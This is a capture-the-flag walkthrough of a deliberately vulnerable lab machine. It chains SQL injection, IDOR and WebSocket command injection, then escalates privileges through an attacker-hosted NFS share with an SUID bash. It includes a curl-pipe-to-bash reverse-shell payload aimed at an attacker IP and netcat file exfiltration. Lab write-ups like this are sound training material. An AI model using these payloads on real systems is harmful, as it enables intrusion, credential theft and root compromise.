DX2: Hell's Kitchen
Can you help compromise a civilian machine that we believe is connected to the NSF? -by Aquinas
Last updated
Can you help compromise a civilian machine that we believe is connected to the NSF? -by Aquinas
Last updated
The following post by 0xb0b is licensed under CC BY 4.0
We start with a Nmap scan and find only two open ports, 80
and 4346
. A subsequent service and default script scan tells us that both are web servers.
We start with the web server on port 80
. It is a hotel booking site with a possibility to book a room, view a guestbook and learn more about the 'ton
in the imprint.
In the guestbook we find some long-term guests, these might be interesting. On further browsing of the site, we were unable to make any further superficial findings. It was not possible to book a room as the hotel is already fully booked.
We had no success with a Gobuster scan to determine further directories and times. We'll take a closer look at the source. For the sake of clarity, we use cURL for this.
On the index page there is a script /static/check-rooms.js
. This checks the availability of rooms using the API call /api/rooms-available
. If rooms are still available, it redirects to /new-booking
. So let's take a closer look at /new-booking
.
Rooms can be booked under /new-booking
. However, the form for this is not visible. Furthermore, a script /static/new-booking.js
is embedded. Let's take another look at this.
The script is used to retrieve booking information via the API endpoint /api/booking-info?booking_key=BOOKING_KEY
. The BOOKING_KEY
is taken from a cookie set by the server.
We pull the BOOKING_KEY
from the browser's storage and see that it is encoded.
This key is base58
encoded and actually contains the information booking_id:<7-digit-number>
.
If we make an API access with the key we already have, we only get the response not found. The first thought was to brute-force the IDs in the hope of getting more information than just the room number and number of nights. Unfortunately, this is a fallacy and not feasible, because every single request takes up to a second. But more on this later in the next section.
We query for the ID we have in the cookie, but it only returns a not found
. Further reloads on /new-booking
results into different cookies which all gives a not found
.
Before we continue, we will look at the web server at port 4346
, as we are still in the initial reconnaissance phase.
On the index page, we find a login to NYComm again. Usernames or passwords cannot be enumerated due to the generalized feedback. We also have no success with the users we have found in the guestbook. The source does not tell us anymore.
However, we find two interesting endpoints using Gobuster: /mail
and /ws
. Before the room was patched, it was possible to directly further enumerate and exploit /ws
without authentication, but more on that later.
We go back to the hotel page, the booking page /new-booking
. And take a closer look at the end point /api/booking-info
.
Let's try to mess around with the parameter. Maybe letters give another result.
Again not found
. Is that good or bad?
Let's try to test it with the simplest SQL Injection the letter '
.
Very good, this time a bad request
. Doesn't necessarily mean that SQL Injection works here, but we already have a different result.
Let's try the infamous payload ' OR 1=1 -- -
.
You can find out why you shouldn't necessarily use this in the real world here:
And we get a not found
. Interesting. SQL Injection seems to work here, otherwise it should have given a bad request
for special characters. Perhaps there are simply no bookings. But we might have an SQL injection, which is very good. Every response with not found
could therefore be a valid query. Let's see if we can enumerate the database and thus retrieve the data.
We use order by
to enumerate the number of rows of that table we are facing. We work our way up slowly and increase the count by one at a time. From order by 3
we receive the response bad request
. We are therefore dealing with a table with only two columns.
We do a union select with integer values and get a response, this time neither not found
nor bad request
. SQL Injection is confirmed!
Next, we need to enumerate the database version of the database to determine the appropriate SQL commands to enumerate the entire database. We try payloads like @@Version
, Version()
or sqlite_version()
. With sqlite_version()
we get the version, and now we know that it is a SQLite database
.
For further enumeration, we now use PayloadsAllTheThings
SQLite Payloads:
We determine the database structure. The following payload unfortunately only gives us information about the current table we are using. But it is also not suitable for the version we are using.
Using the Integer/String based - Extract table name
we get the structure. We have the tables email_access
, reservations
and booking_temp
.
We can now use the table names to determine the columns of each table via Integer/String based - Extract column name
. We are interested in the table email_access
, because this could contain credentials.
We get the columns names guest_name
, email_username
and email_password
from email_acccess
.
Now we can simply pull the information from the table and find a password for the user pdenton
.
This part of the challenge can also be solved using SQLMap, but we need a tamper script that does the parameter encoding for us. 0day has kindly provided me with his script to share it here. Thank you very much!
We create the script and an empty __init__.py
file containing the tamper script.
For the automated approach, however, we assume that we know the basics such as the type of database and the indicator for a successful SQL injection. This is the message not found
here. With --string
option we specify a string that SQLMap should look for in the HTTP response to verify the existence of a successful SQL injection.
We use the credentials found to log in to dx2.thm:4346
and are successful.
We can read mails, but there is no flag in the first place.
When looking at the source, we find a minified JavaScript.
We use Beautifier.io
to make it readable.
Two things happen here, but we'll concentrate on the first one first. The script adds click event listeners to email rows, which, upon selection, fetch and display the email content from the /api/message
endpoint using the email's message_id
. Additionally, a Web Socket connection is established to update the time display and send the local timezone every second.
We access the endpoint /api/message?message_id=
and go through individual IDs. We get a text in base64. IDOR is possible.
Decoding the text for message_id=1
we get the message after logging in.
In the message with message_id=3
, we find the first flag, the web flag.
Now to the second part of the minified JavaScript.
The script furthermore establishes a Web Socket connection to the server using the ws://${location.host}/ws
URI, which updates the displayed time in real-time.
Until the patch it was possible to use the web socket without authentication (unintended), this is no longer possible. I had a script for this, but could not implement the authentication with the ID that is given after the login. Instead, we can access the web socket directly via the console after logging in.
With socket.send("example")
we can send messages to the socket, similar to the JavaScript we found. After a bit of trial and error, we find a possibility for command injection using command substitution. Unfortunately, the output is minimal and limited in its output, but we can see at the top left corner that we are probably in the /
directory, bin
is listed. Unfortunately, the feedback keeps updating, so you have to pay close attention to what is happening in the top left corner.
A lot of time was spent here, because the initial assumption was that some commands would be filtered, since the output Invalid
occurred with the usual payloads for reverse shell. Here we first tried to get further via obfuscation of the payload, but this was not the right way. But when we tried the binaries such as nc
or busybox
individually, there was no restriction, but after further testing we see that the response Invalid
comes after a certain length of the payload. So we are limited in length.
As a workaround, we can bring the shell to the system using cURL and execute it directly afterwards. To do this, we select the smallest possible query.
We write a busybox
reverse shell in s and deploy it with our python web server.
We set up a listener. Unfortunately, not all ports are open, as you might expect from the notice, we try 443
and are successful.
Next, send the payload:
socket.send("$(curl 10.8.211.1/s|bash)")
The reverse shell script is downloaded,...
and executed. We are the user gilbert
, but cannot find the user flag. The next thing we do is upgrade the reverse shell, see: https://0xffsec.com/handbook/shells/full-tty/
In the notes in the home directory, we find gilbert
's password. We can now run sudo -l and see that it can retrieve the Uncomplicated Firewall status.
Only ports 80
and 443
are actually enabled, which will be interesting later.
We also find a note from sandra
, dad.txt
, in which she writes that she has filed a note with the server.
We use find and search for files that belong to Sandra. We find the note /srv/.dad
, which belongs to sandra
but can be read by gilbert
.
In this note we find the password of sandra
.
We change the user to sandra
and find the user flag in the home directory of sandra
.
Here, too, we find notes.
Furthermore, sandra
is able to switch off the web server on port 80, we will keep this in mind.
In sandra
's home directory there is a Pictures folder, in this folder there is a picture boss.jpg
. Let's take a look at what might be hiding here. To do this, we need to transfer it to our machine.
We use the nc tool to transfer the file:
We remember that only port 80
and 443
are released. We use port 443
for transmission.
First we issue the following command on our attacker machine to wait and receive for incoming connection on 443
and store the received data into boss.jpg
.
On the victim machine, we now transfer the contents of the file to 443
using the following command:
In the picture we find a text, this is the password for the user jojo
.
We switch to the user jojo
using the password from the picture and find another note about NFS.
As jojo we can execute /usr/sbin/mount.nfs
. We are therefore able to mount an NFS share. The idea to extend our privileges to root is to provide an NFS as attacker, mount the NFS, copy the binary /bin/bash
of the victim into it (to take dependencies into account) and set the SUID bit as root
at the attacker machine. This binary can then be executed on the victim system in the context of root
, giving us a root shell.
We first set up the NFS on our attacker machine. Make sure you have installed NFS:
We create the directory /srv/nfs/shared
, set its ownership to the nobody
user and nogroup
group, and set the permissions to allow read and execute access to everyone, and write access to the owner.
We add *(rw,sync,no_subtree_check)
to /etc/exports
.
The line /srv/nfs/shared *(rw,sync,no_subtree_check)
in /etc/exports
does the following:
/srv/nfs/shared: Exports this directory.
*: Allows all clients to access it.
rw: Grants read-write access.
sync: Ensures changes are immediately written to disk.
no_subtree_check: Disables subtree checking for better performance.
This setup allows any client to read from and write to /srv/nfs/shared
with immediate write operations and improved performance.
With sudo exportfs -ra
we re-export all directories listed in /etc/exports
. It ensures that any changes made to the export configurations are applied without needing to restart the NFS service.
Restart NFS Server and binding.
Since we only have ports 80
and 443
available, and 443
is already used for our reverse shell, we have to provide NFS via port 80
, which is actually possible and can be configured in /etc/nfs.conf
as shown below.
We restart the NFS server to apply our changes to the port.
After the server is running, we can use rpcinfo -p
to check whether nfs is now offered on port 80
.
Now we mount the share, but wait, we still have to release port 80. We can do this with sandra and simply stop the web server running the hotel page.
We create the directory share in the home folder of jojo
and issue the following command to mount:
We do not transfer the /bin/bash of the victim via the NFS because we lack the rights on the victim machine for this. Here we use the nc tool again as already described to transfer this.
After a very short time, we have the bash in our share:
It is now important when editing the bash binary that we are root, we now make it executable and set the SUID bit.
We now see from the victim machine in the share the executable bash with SUID bit set. By executing ./bash -p
in the directory, we now get a root shell and can read the root flag in /root/root.txt
.
The reconnaissance phase revealed two web servers on ports 80
and 4346
. The hotel booking site on port 80
had a vulnerable API endpoint, leading to successful SQL injection, revealing database structure and credentials. Logging into the NYComm portal with these credentials, message IDs disclosed the web flag. Command injection via WebSocket on the same portal provided a shell as gilbert
. Finding a note with sandra
's password, we switched to sandra
and retrieved the user flag from her home directory. In sandra
's directory, we found a picture that, when extracted, revealed jojo
's password, allowing us to log in as jojo
and find a note about NFS. By setting up an NFS share on the attacker machine, mounting it on the victim machine, and modifying the /bin/bash
binary, we gained root
access and retrieved the root flag.